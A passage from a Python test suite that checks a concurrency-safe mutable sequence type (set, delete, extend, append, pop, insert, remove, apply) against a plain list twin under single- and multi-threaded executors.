'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.index.__name__),
'params_1': ((fix_init_csmseqdata[0],), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata.index(fix_init_csmseqdata[0]),), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
fix_exec.c_join()
# noinspection PyArgumentList
def test_csmlseqdata_non_concurrent(
fix_csl: cs.En.CSL,
fix_init_csmseqdata: con.Pr.Iterable[Any],
fix_manager: Optional[mp_mngr.SyncManager],
fix_csmlseq_factory: Callable[[cs.En.CSL,
con.Pr.Iterable[TYPE],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSMutableLengthSequence[TYPE]],
fix_exec: execs.Im.Exec) -> None:
fix_init_csmseqdata = tuple(fix_init_csmseqdata)
init_len: Final[int] = len(fix_init_csmseqdata)
assert init_len > 2
csmlseq: csdata.Pr.CSMutableLengthSequence[Any] = cast(csdata.Pr.CSMutableLengthSequence[Any],
fix_csmlseq_factory(fix_csl,
fix_init_csmseqdata,
fix_manager))
csmlseq_twin: List[Any] = list(fix_init_csmseqdata)
# setitem - diff len
for setitem_name in (csmlseq.__setitem__.__name__, csmlseq.c_set.__name__):
# incr len
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
setitem_name),
'apply_params': ((slice(1, 2), (1, "asdf", 242.54)), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__setitem__.__name__),
apply_params=(
(slice(1, 2), (1, "asdf", 242.54)), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 2
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# setitem append
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
setitem_name),
'apply_params': ((slice(init_len, init_len + 10), (1, "asdf", 242.54)), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(
el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__setitem__.__name__),
apply_params=(
(slice(init_len, init_len + 10), (1, "asdf", 242.54)), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 3
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# setitem append 2
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
setitem_name),
'apply_params': ((slice(init_len + 5, init_len + 10), (1, "asdf", 242.54)), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(
el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__setitem__.__name__),
apply_params=(
(slice(init_len + 5, init_len + 10), (1, "asdf", 242.54)), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 3
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# setitem decr len
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
setitem_name),
'apply_params': ((slice(0, 3), (1, "asdf")), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__setitem__.__name__),
apply_params=(
(slice(0, 3), (1, "asdf")), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# delitem
for delitem_name in (csmlseq.__delitem__.__name__, csmlseq.c_delete.__name__):
# int index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
delitem_name),
'apply_params': ((2,), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__delitem__.__name__),
apply_params=(
(2,), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# int IndexError
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
delitem_name),
'params': ((-(init_len + 1),), {}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
delitem_name),
'params': ((-(init_len + 1000),), {}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
delitem_name),
'params': ((init_len,), {}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmlseq,
delitem_name),
'params': ((init_len + 1000,), {}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager
)
# slice index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
delitem_name),
'apply_params': ((slice(1, 3),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__delitem__.__name__),
apply_params=(
(slice(1, 3),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 2
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# slice index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
delitem_name),
'apply_params': ((slice(init_len - 2, init_len + 100),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__delitem__.__name__),
apply_params=(
(slice(init_len - 2, init_len + 100),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 2
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# slice index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
delitem_name),
'apply_params': ((slice(init_len, init_len + 100),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.__delitem__.__name__),
apply_params=(
(slice(init_len, init_len + 100),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata)
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
# iadd, extend, c_extend
for extend_name in (csmlseq.__iadd__.__name__, csmlseq.extend.__name__, csmlseq.c_extend.__name__):
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
extend_name),
'apply_params': (((2, "asb", 3.5),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.extend.__name__),
apply_params=(
((2, "asb", 3.5),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 3
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# append, c_append
for append_name in (csmlseq.append.__name__, csmlseq.c_append.__name__):
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
append_name),
'apply_params': (("asb",), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.append.__name__),
apply_params=(
("asb",), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# clear
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.clear.__name__),
'apply_params': None
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.clear.__name__),
apply_params=None)
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': 0
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# pop
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.pop.__name__),
'apply_params': None
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.pop.__name__),
apply_params=None)
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# pop - index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.pop.__name__),
'apply_params': ((2,), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.pop.__name__),
apply_params=(
(2,), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# pop - index
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.pop.__name__),
'params_1': ((2,), {}),
'el_2': (csmlseq_twin,
csmlseq_twin.pop.__name__),
'params_2': ((2,), {})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# remove
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.remove.__name__),
'apply_params': ((csmlseq[1],), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.remove.__name__),
apply_params=(
(csmlseq_twin[1],), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1 # 'remove' removes first occurrence
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# insert
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.insert.__name__),
'apply_params': ((1, "sadfasfd",), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.insert.__name__),
apply_params=(
(1, "sadfasfd",), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# inser at end
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.insert.__name__),
'apply_params': ((init_len + 1000, "sadfasfd",), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=(type(csmlseq_twin),
csmlseq_twin.insert.__name__),
apply_params=(
(init_len + 123124, "sadfasfd",), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# c_insert
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.c_insert.__name__),
'apply_params': ((1, ("sadfasfd", 3.4, 11),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((((csmlseq_twin[0],)
+ cast(Tuple[Any, ...], ("sadfasfd", 3.4, 11))
+ tuple(csmlseq_twin[1:])),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 3
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# c_insert at end
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.c_insert.__name__),
'apply_params': ((init_len + 12312, ("sadfasfd", 3.4, 11),), {})
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=(((tuple(csmlseq_twin)
+ cast(Tuple[Any, ...], ("sadfasfd", 3.4, 11))),), {}))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 3
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# apply - incr len
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.c_apply.__name__),
'apply_params': (None, {
'index': slice(1, 3),
'func': __apply_to_str_seq_incr_len
}),
'apply_check_result': (APPLY_RETURN,) # Must be a tuple of length 1!
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=__apply_helper,
apply_params=(None, {
'index': slice(1, 3),
'func': __apply_to_str_seq_incr_len
}),
apply_check_result=(APPLY_RETURN,))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) + 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
# apply - decr len
fix_exec.c_exec_multiple(
csl=fix_csl,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': ft.c_get_and_apply,
'params_1': ((), {
'el': ft.c_identity,
'params': ((), {
'el': csmlseq
}),
'apply_func': (type(csmlseq),
csmlseq.c_apply.__name__),
'apply_params': (None, {
'index': slice(1, 3),
'func': __apply_to_str_seq_decr_len
}),
'apply_check_result': (APPLY_RETURN,) # Must be a tuple of length 1!
}),
'el_2': ft.c_identity,
'params_2': ((), {
'el': ft.c_get_and_apply(el=ft.c_identity,
params=((csmlseq_twin,), {}),
apply_func=__apply_helper,
apply_params=(None, {
'index': slice(1, 3),
'func': __apply_to_str_seq_decr_len
}),
apply_check_result=(APPLY_RETURN,))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': len(fix_init_csmseqdata) - 1
})
}),
'max_check_count': 1
}),
join=True)
],
manager=fix_manager
)
csmlseq[0:] = fix_init_csmseqdata
csmlseq_twin[0:] = fix_init_csmseqdata
fix_exec.c_join()
# noinspection PyArgumentList
def test_csmlseqdata_concurrent(
fix_csl: cs.En.CSL,
fix_init_csmseqdata: con.Pr.Iterable[Any],
fix_manager: Optional[mp_mngr.SyncManager],
fix_csmlseq_factory: Callable[[cs.En.CSL,
con.Pr.Iterable[TYPE],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSMutableLengthSequence[TYPE]],
fix_exec: execs.Im.Exec) -> None:
fix_init_csmseqdata = tuple(fix_init_csmseqdata)
init_len: Final[int] = len(fix_init_csmseqdata)
assert init_len > 2
csmlseq: csdata.Pr.CSMutableLengthSequence[Any] = cast(csdata.Pr.CSMutableLengthSequence[Any],
fix_csmlseq_factory(fix_csl,
fix_init_csmseqdata,
fix_manager))
if fix_csl > cs.En.CSL.SINGLE_THREAD:
# test_blocking - delete
for del_name in (csmlseq.__delitem__.__name__, csmlseq.c_delete.__name__):
# int index
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmlseq,
csmlseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
